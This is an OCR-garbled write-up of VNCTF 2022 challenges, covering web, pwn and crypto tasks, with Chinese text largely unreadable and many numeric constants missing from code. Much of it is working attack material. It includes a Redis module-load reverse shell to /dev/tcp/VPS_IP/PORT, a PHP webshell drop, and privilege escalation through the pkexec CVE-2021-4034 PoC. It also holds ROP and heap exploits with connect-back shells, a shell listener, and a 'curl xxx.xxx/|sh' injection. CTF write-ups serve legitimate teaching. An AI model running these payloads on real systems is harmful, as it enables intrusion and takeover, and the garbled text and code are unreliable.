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* NewcalcO

FERER T ARnodejsEMENIR, F—Tnodejs B HR A bET

https://nodejs.org/zh-cn/blog/vulnerability/jan-2022-security-releases/#incorrect-handling-of-certificate-subject-and-is

suer-fields-medium-cve-2021-44533

FREEB), EERERARERESESN, HEBZIEN.

console.table([{a:1}],['__proto__'])

* GocalcO

RIRIAEFREA, BkeyRIRHERDE T —1, FEEcookies FRFUILME, RR, HAIW®

FEA B sstiF TRRAAD

{{printf "%+v" .}}

REAMEN—T—R—1Y

package main

import (
_ "embed"
“fmt"

"os"

"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"

"github.com/gin-gonic/gin"

func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8680"

r := gin.Default()

store := cookie.NewStore([]byte("woW_you-g@t_sourcE_cobe"))

r.Use(sessions.Sessions("session", store))



https://nodejs.org/zh-cn/blog/vulnerability/jan-2022-security-releases/%23incorrect-handling-of-certificate-subject-and-issuer-fields-medium-cve-2021-44533

r.GET("/", func(c *gin.Context) {

session := sessions.Default(c)

println(session.Get("FLAG").(string))
})

r.Run(fmt.Sprintf(":%s", port))

=y (kiR SR

* easyjava

1.3 {5iE

X AT R E

/file?url=file:
/file?url=file:

/file?url=netdoc:

2. KI8T R
R E FservietIpl R X BFELRR IR,

doGet BRI TH BT E P Secr3tHIMT K MEF BN, FEZFLHRIIE—Tcheck, HEIARIZE " Ncheck,

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServietExc

m

eption, IOException {

String regName = req.getParameter( s: "name");
if (reqgName != null) {

name = reqgName;
}

if ( Secr3t.check(name) ) {
Response(resp, outStr: "no vnctf2022!");
return;

}

if( Secr3t.check(name) ){
Response(resp, outStr: "The Key is " + Secr3t.getKey());

}
RERAIABIT



a.py

import
= "http://localhost:8089/ezjava/"

while True:

= .get( +"evil?name=asdqwer")

.encoding = "utf-8"
if r.text.find("The Key is")!=-1:
print(r.text)
if(r.text.replace(" ",""
print(r.text)

import
= "http://localhost:8089/ezjava/"
while True:
= .get( +"evil?name=vnctf2022")
.encoding = "utf-8"
if r.text.find("The Key is")!=-1:
print(r.text)

no vnctf2022!
| The Key is EJCWwpNxgVSiSYfkyYhCBZusLtJcePdc
The Key is EJCWwpNxgVSiSYfkyYhCBZusLtJcePdc
no vnctf2022!

The Key is EJCWwpNxgVSiSYfkyYhCBZusLtJcePdc
The Key is EJCWwpNxgVSiSYfkyYhCBZusLtJcePdc
no vnctf2022!

3.RFYICER D
HERERFIM— P ERN—E— LRI T

("m4n_qlu_666","666","180");

(u);

S FHFE R — DL



transient K BFEIFNTETEEIBERFIN, FTAEEbyteIRHREEEE — TwriteObject, TNEBSH
UserXd RETheightBEAT
public class User implements Serializable {

private String name;
private String age;

Slprivate transient String height;

private void writeObject( .io. ) throws

(),

(this.

BlEEEkeyHbase64F I RITHEMTF T

* InterestingPHP

HABEHE—TRCER, ARFEMENNEEKE, KM phpinfo() #ban, BEMKIBR @S
ini_get_all() FiEEXphptEXHEEEE, B¥E disable_functions/disable_class/open_basedir %
SEHELLREEN,

£ scandir() RIFMERXXHFLMEFE— secret.rdb X, AIMEIZETH TR, FXBEEIHMANEN
E—TredisBUBNEMH XM, XERE:

sercetye_w4nt_a_gir1fri3nd

A LA%E MIredisAYauthy ye_want_a_gir1fri3nd

AR iR OE S Hredisif O BIIRIE, ATIASEWMCTF20217 MakePHPGreatAgainAndAgain BOERIITSIE, 1€
FA stream_socket_server() F#HFMiwO, ¥i&

/?exp=eval(file_put_contents("1.php", base64_decode($S_POST['a'])));
POST :
a=PD9waHAKaGlnaGxpzZ2h@X2ZpbGUoX19GSUXxFX18p0OwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTska$S

srKSB7CiAgJHQ9c3RyZWFtX3NvY2t1dF9zZXJ2ZXIoInRjcDovLzAuMC4wL jA6Ii4kaSwkZWUsJGV1IMik7CiAgaW
YoJGVIMiA9PTOgIkFkZHJ1c3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==

ALAKIL 80 F 8888 imOFF I, HXIRBEMBRE U AINEIE T HEEEEEredis LI F MEHIRCER,
BEoT—THEINRETALKIMIEZFIA stream_get_contents() REWredisEIZRRER], XEbanT X
TRE, FAAREIFHREMISIERMredisRE

FHA get_loaded_extensions() BJIABERIPHPHIIEAVIEM, MAEIIABRIEBEMERINE T PHPredistl{f
(redis.so) , BRI — T XHERIAEIXMEHRIRedisZEARE rawCommand () FiER A ITrediskIan SIRIE.



BEFTE, AU WredisEMEFIRCE, FFIA file put_contents() EAN—"redisE MEHIRCEMIsoX {4,
ETRMENDE— T R ShelliPayload

Sredis = new 0);

Sredis-> ('127.0.0.1", );

Sredis-> ('ye_w4nt_a_gir1fri3nd');

Sredis-> ('module’, 'load', ' /var/www/html/exp.so"');

Sredis-> ("system.exec", "bash -c 'exec bash -i &>/dev/tcp/VPS_IP/PORT <&1'");

WATREMET ARG — T Shell, KIMAFA www-data , ZBENPRIEZEN /flag :

www-data@d200a09b5586:~/html$ whoami
whoami

www-data

www - data@d200a09b5586:~/html$ cat /flag
cat /flag

cat: /flag: Permission denied

www-data@d200a09b5586:~/html$

XEIRZER T SUIDIRIE R AR I — MR RAY:

find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh

/usr/bin/gpasswd

/usr/bin/passwd

/usr/bin/newgrp

/usr/bin/chfn

/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/bin/umount

/bin/mount

/bin/su

XEBEE ST HRE B A pkexectiBAURIE, BRI IES ApkexectZiHpoc, XEHZE—: https://github.com/
arthepsy/CVE-2021-4034.git



https://github.com/arthepsy/CVE-2021-4034.git

RIETEShel EHiTpoc, FEEEN—NMNREBUWREERS ANAHATXHRTISBIRM chmod +x
- /pkexec_poc XHMW PR, TEMZERRNEN ag:

www-data@4200a09b5586:~/html$ chmod +x ./pkexec poc
chmod +x ./pkexec poc

www - data@4200a09b5586:~/html$ ./pkexec poc

./pkexec _poc

cat /flag
flag{not_ flag}

I Pwn

* BingDwenDwen

Do you like BingDwenDwen?

— P EENEEL, BERESETERMATEEZEXATER, HEH TIVFETEEEFexecveMmprotect, X
BIFREHNIZERrop R @shell, 97 HEME, B HRM T aTaEAEIMgadget, F It Fropid

FA socket(AF_INET, SOCK_STREAM, IPPROTO_IP) connect(soc, (struct sockaddr *)&serv_addr,
sizeof(struct sockaddr_in)) dup2(soc, 8) dup2(soc, 1) REFMANBEIR ASorwtiflag

import
import

from import =*

= 'bingDwenDwen'
('bingDwenDwen")
.libc

.binary =

.terminal = ['gnome-terminal', '-x', 'sh', '-c']
.argv) == 3):
(sys.argv[1],sys.argv[2])

)
lambda : (p.recvuntil ("\x7f")[-6:].1just(8, "\x00"))

lambda : (p.recvuntil("\xf7")[-4:].1just(4, "\x00"))
lambda a, :p.sendlineafter(str(a),str(b))




sa lambda a,b :p.sendafter(str(a),str(b))
1g lambda name,data : p.success(name + ": @x%x" % data)
se lambda payload: p.send(payload)
rl lambda : p.recv()
sl lambda payload: p.sendline(payload)
ru lambda a :p.recvuntil(str(a))
def dbg(script = ""):
if (len(sys.argv) == 3):
return
elif(len(sys.argv) ==
return
elif(script):
attach(p, script)
pause()
else:
attach(p)
pause()
0x000000000040136T :
0x00000000004011dd :
0x000000000040136b :
0x0000000000401369
0x000000000040136d
syscall_ret =
pop_rdi
pop_rsi
pop_rdx
pop_rax
push_pop
mov_ret

pop_rcx

payload "a"*

payload p64(pop_rdi)
payload p64(2)
payload p64(pop_rsi)
payload p64(1)
payload p64 (pop_rdx)
payload p64(0)
payload p64(pop_rcx)
payload p64(0)

payload p64(pop_rax)
payload p64( )
payload p64(syscall_ret)

payload p64 (pop_rdi)




payload
payload
payload
payload
payload
payload
payload
payload

payload
payload
payload
payload
payload
payload
payload

payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload

payload
payload
payload
payload
payload
payload
payload
payload
payload

payload
payload
payload
payload
payload

p64(0)
p64(pop_rsi)
p64( )
p64(pop_rdx)
p64(16)
p64(pop_rax)

p64(42)
p64(syscall_ret)

p64(pop_rdi)
p64(0)
p64(pop_rsi)
p64(0)
p64(pop_rax)

p64(33)
p64(syscall_ret)

p64(pop_rdi)
p64(0)
p64(pop_rsi)
p64(1)
p64(pop_rax)
p64(33)
p64(syscall_ret)
p64 (pop_rdi)
p64( )
p64(pop_rsi)
p64(0)
p64(pop_rax)

p64(2)
p64(syscall_ret)

p64(push_pop)
p64(mov_ret)
p64(pop_rsi)
p64( )
p64(pop_rdx)
p64( )
p64(pop_rax)
p64(0)
p64(syscall_ret)

p64(pop_rax)
p64(1)
p64(pop_rdi)

p64(1)
p64(syscall_ret)




payload = payload.ljust( ,"a")
payload += "flag\x00\x00\x00\x00"
payload += "\x00"*

payload += p64(
p.recv()

dbg ()
p.send(payload)

p.interactive()

RS 28 L BITIXMIAR

import socket

import thread

def print_recv(s):
while(s):
result = s.recv(
if(result):
print(result)
else:

return

s = socket.socket()
host = '0.0.0.0'
port =

s.bind((host, port))

s.listen(1)

while True:

c, addr = s.accept()
print ('ZEiEHUE: ' + str(addr))
try:

thread.start_new_thread(print_recv,
while(True):
c.send(raw_input() + '\n')
except Exception as e:
print(e)
print("Disconnect")

c.close()

(c,

))




ubuntu@VM 16-3- ubuntu ~$ python 1. py
ZEFEHLE: (& - M
VNCTF{BingDwenDwen_1s_4eR4 C4T1}

* easyROPtocol

IRITABE T ERIEFX T MNEIANER. #imh a9 B a5

RS REI=IEE, DAIFIEADIN. BIBRID AR
FAIEADINA, RAEIER] 24 FROGHAT:

typedef struct tcp_head

{
unsigned short source_port;
unsigned short dest_port;
unsigned int seq_num;
unsigned int ack_num;
unsigned short len_and_syn;
unsigned short window;
unsigned short checksum;
unsigned short urgent_ptr;
unsigned short ip_figure;
unsigned short padding;

} TCP_head;

FERENTFRHE:

int check_head(void *ptr){

TCP_head #*head = ptr;

if (head->source_port !=
return 0;

}

if (head->dest_port !=
return 9;

}

if (head->seq_num == 0){
return 9;

}

if (head->ack_num == 0){

return 0;

AN
JERS z/T\

HELES.




if (head->window == 0){

return

’

}
if (head->urgent_ptr !=
return 9;
}
if ((head->len_and_syn&0xf)*
if ((head->len_and_syn&
return 90;
telse{
if (head->padding !=

return 9;

return 1;

BIVERILNFEN

int check_sum(void *ptr){
char ip_head[] = "fakeipheadfa";
unsigned short *tocheck (unsigned short *)ip_head;
unsigned short checksum ;

for (unsigned short i = 0; i ;it++) {

’

<
checksum A= *(tocheck + 1i);

}
tocheck = (unsigned short =*)ptr;
for (unsigned short i = 0; i < ;i) {
if (i !'= 8)
checksum A= *(tocheck + i);

}

if (checksum != ((TCP_head *)ptr)->checksum){
return 0;

telse({

return 1;

MREBHEENA memcpy BIMBEME, MXES seq_num FBERBEXTT 0x1000, FHH ip_figure BEEARNR
0, ME (head->len_and_syn&Oxf)*4 }24 (iFcheck_head) .,




int seq = 1;

if (((TCP_head x)tcps[i])->seq_num == seq)

break;

if ( ((((TCP_head *)tcps[i])->len_and_syn& ) || (((TCP_head *)tcps[i])-
>ip_figure == 0)){
strepy(buf, (tcps[i] + ((((TCP_head #*)tcps[i])->len_and_syn & )*4))) ;
sign = 0;
telse{
memcpy ( (buf+strlen(buf)), (tcps[i] + ((((TCP_head *)tcps[i])->len_and_syn &
IS Ir

seq +=

FTLART AR A python A9i&40 T A9 28

def check(buf1):
checksum =
buf = ''+buf1
head = "fakeipheadfa"
for i in range(len(head)/2):
checksum = checksum * int(head[:2][::-1].encode("hex"),16)
head = head[2:]
while True:
checksum = checksum * bytes_to_long(buf[:2][::-1])
buf = buf[2:]
if buf == '';:
break

return checksum

packtcp(seq_num, buf, padding = 'a'):
payload = p16( )+p16( )
payload += p32(seq_num)

payload p32(1)

payload p16( /4)

payload p16(

payload p16(

payload p16(

payload p16(

payload p16(

payload buf

payload payload.ljust( , padding)
checksum = check(payload)




payload = payload[:16]+p16(checksum)+payload]

return payload

ZER AT IE R #9M%im H A orw Bk,

T submit BREVREIAY rdx FFEIH9ERN 6, FEULLHIE rop FERSAIAARE pop rdx;ret , YIRBE(FER rdx F
F2%, BIDAFIAS ret2csu,

I, BEAEROBIESIERA, EITRREN A REHIEBIERKEE, BRI sleep FRE, WZRZM exp,
PICARRIR ILE[B)RR

from pwn import *

from Crypto.Util.number import bytes_to_long
p = process("./pwn")

elf = ELF("./pwn")

libc = ELF('./libc-2.31.s0")

menu = lambda x : p.sendlineafter("4. Quit.", str(x))

def check(buf1):
checksum =
buf = ''+bufT
head = "fakeipheadfa"
for i in range(len(head)/2):
checksum = checksum A int(head[:2][::-1].encode("hex"),16)
head = head[2:]
while True:
checksum = checksum * bytes_to_long(buf[:2][::-1])
buf = buf[2:]
if buf == '':
break

return checksum

packtcp(seq_num, buf, padding = 'a'):
payload = p16( )+p16( )
payload += p32(seq_num)

payload p32(1)

payload p16( /4)

payload p16(

payload p16(

payload p16(

payload p16(

payload p16(




payload += buf

payload = payload.ljust( ,padding)
checksum = check(payload)

payload = payload[:16]+p16(checksum)+payload]
return payload

read_tcp(payload) :
menu(1)

sleep( )
p.send(payload)

delete(i):

menu(2)

sleep( )
p.sendlineafter("Which?",str(i))

submit():

menu(3)

rdi

rsi

read_tcp(packtcp(1, "aaaa"))

read_tcp(packtcp( , 'aaaa"))

read_tcp(packtep( , 'aaaa"))

payload = 'a'*96+'a'*

payload += p64(rdi)+p64(1)+p64(rsi)+p64(elf.got[ 'write'])+p64(0)+p64(elf.plt[ ' write'])
payload += p64( )

read_tcp(packtcp( , payload, '\x00'))

submit()

libc_base = u64(p.recvuntil('\x7f')[-6:].1just(8, '\x00"'))-1ibc.sym[ 'write']

success("libc_base = "+hex(libc_base))

delete(9)
delete(1)
delete(2)
delete(3)

read_tcp(packtcp(1, "aaaa"))
read_tcp(packtcp( , "'aaaa"))
read_tcp(packtcp( , "aaaa"))
rdx =

bss =

payload = ('a'*96+"'a'*( -6))

payload +=

p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(0)+p64(rdx+libc_base)+p64( )+p64(0)+p64(libc_bas
e+libc.sym[ 'read'])

payload += p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(0)+p64(libc_base+libc.sym[ ' 'open'])




payload +=

p64(rdi)+p64(3)+p64(rsi)+p64(bss)+p64(0)+p64(rdx+libc_base)+p64( )+p64(0)+p64(libc_ba
se+libc.sym[ 'read'])

payload += p64(rdi)+p64(bss)+p64(libc_base+libc.sym[ 'puts'])

read_tcp(packtcp( , payload, '\x00'))

submit()

p.recv()

pause()
p.send("/flag\xee")

p.interactive()

Clear_got

from pwn import *

p = process("./a.out")

elf = ELF("./a.out")

libc = elf.libc
context.log_level = "debug'

payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload




payload += "e"=*

success("len:"+hex(len(payload)))

p.send(payload)

payload = "/bin/sh\x00" + p64(

p.sendline(payload)

p.interactive()

e FShuiMaster

Z R s TEEditEP A get_Input

ubuntu18.04 2.27-1.0libchR A

1F1Eoff by nullifFE

MM LIRH T pagefI K/ \Elarge bin
2.increaseficheck B LE 7 HEHRAE R bt 5

B EFtBEmalloc large bin [5RY5% B ithilk it 58 H libcttbiit A heapithiit ;
sRfEF91E arge bin attackE Kbl ¥ global_max_fast,

[Ei S Al IE 10 _list_all;

—_

Fi#tglobal_max_fast;Z9 T fast bin attack$T Hichunk extend #Af515%/tcache_chunk ;

Bi#lo_list_allZ A 7 FERhouse of pig;)

EafiZhouse of pig ¥Tfree_hook A system #AfFexit 1FF|shell,

(ZBFEEES, EAEBMRIRAS, 7E#1Tlarge bin attack/GRILASROP | banana . pig%% (AKAEHHNE231TF
89, BRRNELRENNT2.27-1.4, XBHNT2.27-1.0, expth2—4FHEHN, FillexpF BERZHERIENER,
ARTEEEEE EHTER, MENIMIIBET. )

from pwn import*

context.log_level = "debug"

io = remote("127.0.0.1","10000")




io.recv()

io.sendline("Ww")

def add(size,content):
io.sendlineafter("Five: Finished!\n",str(1))
io.sendlineafter("Number of words?\n",str(size))

io.sendlineafter("please input U character\n",content)

def edit(index,content):
io.sendlineafter("Five: Finished!\n",6str(2))
io.sendlineafter("change\n", str(index))

io.sendlineafter("\n", content)

def show(index):
io.sendlineafter("Five: Finished!\n",str(4))

io.sendlineafter("please Input The page U want 2 scan",str(index))

def delete(index):
io.sendlineafter("Five: Finished!\n",str(3))

io.sendlineafter("tear off",str(index))

def exit():
io.sendlineafter("Five: Finished!\n",str(5))

io.interactive()

def look():
global io
gdb.attach(io)

def Feng_Shui():

add( ,b"0")
add( ,b"1_fuck")

add( ,b"2")
add( ,b"3")
add( ,b"4")
add( ,b"5")
add( ,b"6")
add( ,b"7")
add( ,b"8")
add( ,b"9")
add( ,b"10")
add( ,b"11")
add( ,b"12")
add( ,b"13")




add( ,b"fuck_14")

delete(2)

edit(3,b"a"* +p64(
delete(4)

add( ,b"15")

add( ,b"3_16")

add ( ,b"17")

delete(5)

edit(6,b"a"* +p64 (
delete(7)

add ( ,b"18")

add ( ,b"6_19")
add( ,b"20")

delete(8)

edit(9,b"a"* +p64 (
delete(10)

add( ,b"21")

add( ,b"9_22")

add ( ,b"23")

delete(11)
edit(12,b"a"* +p64 (
delete(13)

add( ,b"24")

add ( ,b"12_25")
add( ,b"26")

def leak_libc_heap():

Feng_Shui()

delete(9)

add( ,b"10_sort to large")
add ( ,b"a"* )

show(28)

io.recvuntil(b"a"*
io.recvuntil(b"\n")

global heap_info

heap_info = u64(io.recv(6).1ljust(8,b"\x00"))
delete(28)

add( ,b"29_sort to large")
add ( ,b"a"x0x7)

show(30)




global libc_info

libc_info = u64(io.recvuntil("\x7f")[-6:].1just(8,b"\x00"))
print(hex(libc_info))

global libc

libec = ELF("./1libc-2.27.s0")

global libc_base

libc_base = libc_info - - libc.sym["__malloc_hook"]
global IO_list_all

I0_list_all = + libc_base

global _IO_str_jumps

_IO_str_jumps = + libc_base

global global_max_fast

global_max_fast = + libc_base
success("libc_base:"+hex(libc_base))
success("heap_info:"+hex(heap_info))
success("I0_list_all:"+hex(IO_list_all))
success("_IO0_str_jumps:"+hex(_IO_str_jumps))
success("global_max_fast:"+hex(global_max_fast))

success("system:"+hex(libc.sym["system" ]+1ibc_base))

def large_bin_attack_prepare():
add( ,b"31")

add ( ,b"32")

add( ,b"33")

add( ,b"34_fuck")
delete(31)
edit(32,b"a"* +p64(
delete(33)

def large_bin_attack_IO_FastMax():
add ( ,b"35")
add ( ,b"32 36")
add( ,b"37")

add( ,b"38")

add( ,b"39")

add ( ,b"40")

delete(32)

add( ,b"41_sort into large")
edit(36,p64(libc_info)*2+p64(heap_info+ )+p64(I0_list_all- ))
delete(38)

add( ,b"42")

delete(42)

edit(36,p64(libc_info)*2+p64(heap_info+ )+p64(global_max_fast- ))
add ( ,b"43")

delete(43)




def Fast_bin_attack():
delete(19)
edit(6,p64(heap_info+ )+p64(0)*2+p64(
add( ,b"44™")
edit (20, p64( )%
add( ,b"45")
edit(45,b"\x00"* +p64 ( ))
delete(20)

delete(16)

edit (3, p64(heap_info+ )+p64(0)*2+p64(

add( ,b"46")

edit (17, p64( ) *

add( ,b"47")

edit(47,b"\x00"* +p64( )

delete(17)

edit(47,b"\x00"* +p64( )+p64(libc_base+libc.sym["__free_hook"]-8))

def Pig_For_Shell():

payloadl = p64(0)*2+p64(0)+p64( )+p64(0)
payload1 p64(0)+p64(22)+p64(0)=*

payloadT p64(heap_info+ )+p64(0)+p64(0)+b"\x00" *
payloadT p64(0)*4+b"\x00" *

payload1 p64(_I0_str_jumps)

payloadT p64(libc_base+libc.sym["malloc"])

edit (36, payloadl)

payload2 = p64(0)*2+p64(0)+p64( )+p64(0)
payload2 +=

p64(heap_info+ + + )+p64(heap_info+ +22+
payload2 += p64(heap_info+ )+p64(0)+p64(0)+b"\x00" *
payload2 += p64(0)*4+b"\x00"*
payload2 += p64(_IO_str_jumps)

payload2 += p64(libc_base+libc.sym["malloc"]) + p64(libc_base+libc.sym["free"])
payload2 = payload2.ljust( ,b"\x00")

payload2 += b"/bin/sh\x00" + p64(libc_base+libc.sym["system"])

edit(24, payload2)

edit(47,b"\x00"* +p64 ( )+p64(libc_base+libc.sym["__free_hook"]-8))
print(hex(heap_info))

exit()

io.interactive()

def main():




leak_libc_heap()
large_bin_attack_prepare()
large_bin_attack_IO_FastMax()
Fast_bin_attack()
Pig_For_Shell()

if __name__ == '__

main()

* HideOnHeap
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from pwn import *

elf = None
libc = None

file_name = "./HideOnHeap"

def get_file(dic=""):

context.binary = dic + file_name

return context.binary

def get_libc(dic=""):
if context.binary == None:

context.binary = dic + file_name




assert isinstance(context.binary, ELF)
libc = None
for lib in context.binary.libs:
if '/libc.' in 1lib or '/libc-' in 1lib:
libc = ELF(lib, checksec=False)
return libc

def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so0.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
return s.process([file_name])
else:
if ":" in sys.argv[1]:
r = sys.argv[1].split(':")
return remote(r[0], int(r[1]))
return remote(sys.argv[1], int(sys.argv[2]))
else:

return process([file_name])

def get_address(sh, libc=False, info=None, start_string=None, address_len=None,
end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
if info == None:
info = 'libc_base:\t'
return_address = u64(sh.recvuntil('\x7f"')[-6:].1just(8, '\x080'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True),
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amdé64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x@0'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x60'))
if offset != None:
return_address return_address + offset

if info != None:

log.success(info + str(hex(return_address)))

return return_address




def get_flag(sh):
try:
sh.recvrepeat( )
sh.sendline('cat flag')
return sh.recvrepeat(
except EOFError:

return

get_gdb(sh, addr=None, gdbscript=None, stop=False):
if args['REMOTE']:

return
if gdbscript is not None:

gdb.attach(sh, gdbscript)
elif addr is not None:

gdb.attach(sh, 'b *Srebase(' + hex(addr) + ")")
else:

gdb.attach(sh)
if stop:

pause()

Attack(target=None, elf=None, libc=None):
global sh
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc

assert isinstance(elf, ELF)

assert isinstance(libc, ELF)

try_count =
while try_count <
try_count +=
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
sh.close()
if target is not None:

= target.get_sh()




target.sh =
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)

return flag

choice(idx):

sh.sendlineafter("Choice:", str(idx))

add(size):
choice(1)

sh.sendlineafter("Size:", str(size))

edit(idx, content):
choice(2)
sh.sendlineafter("Index:", str(idx))

sh.sendafter("Content:", str(content))

delete(idx):

choice(3)
sh.sendlineafter("Index:", str(idx))

pwn(sh, elf, libc):
context.log_level = "debug"
add( )
add( )
for i in range(7):

add( )

add(
add(

for i in range(7):
add( )

edit(2, '6' =* + p64(
edit(13, '5' =* + p64( ) + '\x00' *

+ p64( ))

for i in range(2, 9):




delete(1)
delete(1)
delete(9)
add( )
delete(1)
for i in range(7):
add( )
add(

for i in range(
delete(i)

delete(10)

delete(9)

add( )

delete(10)

for i in range(7):
add( )

add(

add(

for i in range(7):
delete(1)
edit(8, '\x00' *

for i in range(7):
delete(10)
edit(18, '\x@0' *

delete(1)
delete(10)

add(
add(
add(
add(

edit( + p64( ) + '\x80\xdb')
add(
add(

edit(18, '\xc@\xb5")
add( )
add( )

edit(
edit(




delete(21)
edit(8, '\x@0'
delete(21)
edit(8, '\x00'
delete(21)

for i in range(8):
edit(8, '\x00' *
delete(21)

edit (24, p64(
edit (22, p64( )

add( )

sh.interactive()

flag = Attack(elf=get_file(), libc=get_libc())
sh.close()
if flag !'= ""
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

e classic_httpd

SNidap#r, AIMANEEEBEXEI T cgi, cgiNEBENNAVEM AT Ivm code, E—T, AEHEstructi#iT
base64E NFRIARRIT T, IWEIEEE R, MERHERE, AREEMUTE, EEREshelBIF], BATSEU
Fexp:

from pwn import *
import base64
import requests
context.log_level = "DEBUG"
context.binary = "./vn_httpd"
ip = sys.argv[1]
port = int(sys.argv[2],10)
def exploit():

global ip,port

elf = context.binary




1lib = ELF(b"1libc-2.31.s0")
if context.arch == b"amd64":
pop_rdi_ret = elf.search(asm(b"pop rdi ; ret")).next()
pop_rsi_ri15_ret = elf.search(asm(b"pop rsi ; pop ri15 ; ret")).next()
elif context.arch == b"i386":
pop_ebp_ret = elf.search(asm(b"pop ebp ; ret")).next()
pop3_ret = elf.search(asm(b"pop esi ; pop edi ; pop ebp ; ret")).next()
1g = lambda data :log.success(data)
def get_code(op,argvi,argv2,argvd):
return p32(op) + p64(argvl) + p64(argv2) + p64(argv3)
def get_code_list(code_list):
payload = p32(len(code_list))
for i in code_list:
payload += i
return payload
code_list = []
code_list.append(get_code( )
payload = get_code_list(code_list)
payload = base64.b64encode(payload)
url = bytes(f"http://{ip}:{port}/submit.cgi?", "UTF-8") + payload
result = requests.get(url)
text = result.text
pie = int(text[25:25+14],16) -
__libc_start_main_got = pie + elf.got['__libc_start_main']
code_list = []

code_list.append(get_code( ,__libc_start_main_got,9,0))

payload = get_code_list(code_list)

payload = base64.b64encode(payload)

url = bytes(f"http://{ip}:{port}/submit.cgi?", "UTF-8") + payload

result = requests.get(url)

__libc_start_main = int(result.text[result.text.find("0x") +
:result.text.find("@x") + 16],16)

libc = __libc_start_main - lib.sym['__libc_start_main']

system = libc + lib.sym['system']

shell = 'curl xxx.xxx/|sh;'

code_list = []

strcmp_got = elf.got[ 'strcmp'] + pie

payload = p32(3)

payload += p32( ) + p64(strcmp_got) + p64(0) + p64(system)

payload += p32( ) + bytes(shell, "UTF-8")

payload = payload.ljust(( + * 3) * 2,b'\x00")

payload += p32( )

payload = payload.ljust(( + * 3) * 3,b'\x00")

payload = base64.b64encode(payload)

url = bytes(f"http://{ip}:{port}/submit.cgi?", "UTF-8") + payload

result = requests.get(url)




if __name__ ==

exploit()

JEFHHA

1 POST /../flag HTTP/1.1 1
2 Host: node4.buuoj.cn:27970 2
3 Cache-Control: max-age=0 3
4 Upgrade-Insecure-Requests: 1 4
5 5

6

T

HTTP/1.0 200 OK
Server: vn_httpd/1.0.0
Content-Type: text/html

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
6 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, image/ap
ng,*/%*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

flag{0c0b6536-1ee3-4544-932a-81547a08ab89}

I Crypto

* ezmath
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[]

in range(len(sk_power)):
sk = "'

for j in range(len(sk_power[i])):

if sk_power[i][j] ==
sk += "1’

else:
sk += '@’




int(sk[::1,2)
s = (pow(g, sk,n*n))
assert(int(s) == pk_list[i])

sk_.append(sk)

print(sk_)

ZRFBEMUE BITRIMINZERLENER

flagRvnctfFFk, FURIIAARIX T ERSH AR RS laghkE T

def other_decrypt(A1,A2,B, sk1,sk2, tmpm) :

tmp = (inverse(pow(A1,sk1,n*n),n*n) * inverse(pow(A2,sk2,n*n),n*n) * inverse( 1+
tmpm * n, n*n )) % (n * n)

B =B * tmp % (n*n)

c=(B-1)//n

return c
tmpm = bytes_to_long(b'vnctf')
print(long_to_bytes(tmpm).decode(),end=""
for i in range(5):

newm = (other_decrypt(c_list[i][@],c_list[i][1],c_list[i]
[2],sk_list[i],sk_1list[(i+1)], tmpm))

print(long_to_bytes(newm).decode(),end = '")

tmpm = newm

* AreYouAdmin
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.all import =*
.Util.number import =*

import =*

1)
.transpose().LLL()

def BabaisClosestPlaneAlgorithm(L,




G, = L.gram_schmidt()
t=w
i = L.nrows() -
while i >=
w -= round( (wxG[i]) / G[i].norm()**2 ) * L[i]

i -=

return t - w
ml1,m2,m3 = bytes_to_long(sha256(b"dawn") .digest()) ,
bytes_to_long(sha256(b"whisper").digest()) , bytes_to_long(sha256(b"want
flag") .digest())

vector([m1, m2, m3 , ¢, 6, 0, 0, 0])

BabaisClosestPlaneAlgorithm(L_111, Y)

sk = X[4]/(2/(1<<170))

class PseudoRandomNumbersGenerators:
def __init__(self, seed):
self.state = seed
self.a = getRandomNBitInteger (
self.b = getRandomNBitInteger (
self .M <<

GetNext(self):
ret = (self.state * self.a + self.b) % self.M
self.state = ret

return ret

def GetSomethingUseful(self, admin):
if admin == True:
return self.a,self.b
else:

return "You can't get anything here!Get out!"

choice(self, input):

length = len(input)

tmp = self.GetNext() % length
return input[tmp]

class DigitalSignatureAlgorithm:
def __init__(self, RANDOM):
self.p =




self.g
self.Random = RANDOM

verify(self, m, y, sig):

r, s = sig

if (not (1 <= r <= self.q - 1)) or (not (1 <= s <= self.q - 1)):
return False
bytes_to_long(sha256(m).digest())

w = inverse(s, self.q)

ul = (z * w) % self.q

u2 = (r » w) % self.q

v = (pow(self.g, ul, self.p) * pow(y, u2, self.p)) % self.p % self.q

return r == v

sign(self, m , x):
z = bytes_to_long(sha256(m).digest())
while
k = self.Random.GetNext() % self.q
